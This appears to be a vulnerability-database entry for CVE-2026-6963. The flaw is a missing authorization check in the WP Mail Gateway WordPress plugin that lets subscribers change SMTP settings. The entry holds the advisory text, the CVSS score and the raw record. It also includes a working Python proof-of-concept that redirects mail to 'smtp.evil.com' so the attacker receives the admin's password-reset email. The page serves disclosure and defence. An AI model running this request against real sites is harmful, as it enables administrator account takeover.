Security Vulnerability Report
中文
CVE-2026-6963 CVSS 8.8 HIGH

CVE-2026-6963

Published: 2026-05-02 05:16:01
Last Modified: 2026-05-05 19:17:23

Description

The WP Mail Gateway plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on the wmg_save_provider_config AJAX action in all versions up to, and including, 1.8. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update SMTP settings and redirect mail which can be used for privilege escalation by triggering a password reset email and using that to access and administrator's account.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

WP Mail Gateway <= 1.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (WordPress admin-ajax.php) target_url = "http://example.com/wp-admin/admin-ajax.php" # Attacker's controlled email attacker_email = "[email protected]" # Simulate a logged-in subscriber session # In a real scenario, this cookie would be valid cookies = { "wordpress_logged_in_12345": "attacker_user_data..." } # Payload to exploit the missing capability check # The action 'wmg_save_provider_config' is vulnerable payload = { "action": "wmg_save_provider_config", "provider": "smtp", "from_email": attacker_email, # Overriding the admin email "from_name": "Admin", "host": "smtp.evil.com", "port": "25" } try: response = requests.post(target_url, data=payload, cookies=cookies) if response.status_code == 200: print("[+] SMTP configuration potentially updated successfully.") print("[+] Check if password reset emails are now redirected.") else: print("[-] Request failed.") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6963", "sourceIdentifier": "[email protected]", "published": "2026-05-02T05:16:01.250", "lastModified": "2026-05-05T19:17:22.860", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Mail Gateway plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on the wmg_save_provider_config AJAX action in all versions up to, and including, 1.8. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update SMTP settings and redirect mail which can be used for privilege escalation by triggering a password reset email and using that to access and administrator's account."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-mail-gateway/tags/1.8/src/Bootstrap.php#L47", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-mail-gateway/tags/1.8/src/Functions.php#L111", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-mail-gateway/trunk/src/Bootstrap.php#L47", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-mail-gateway/trunk/src/Functions.php#L111", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3515205%40wp-mail-gateway&new=3515205%40wp-mail-gateway&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c7caf1f4-a8dd-4016-91eb-2adbeed5290a?source=cve", "source": "[email protected]"}]}}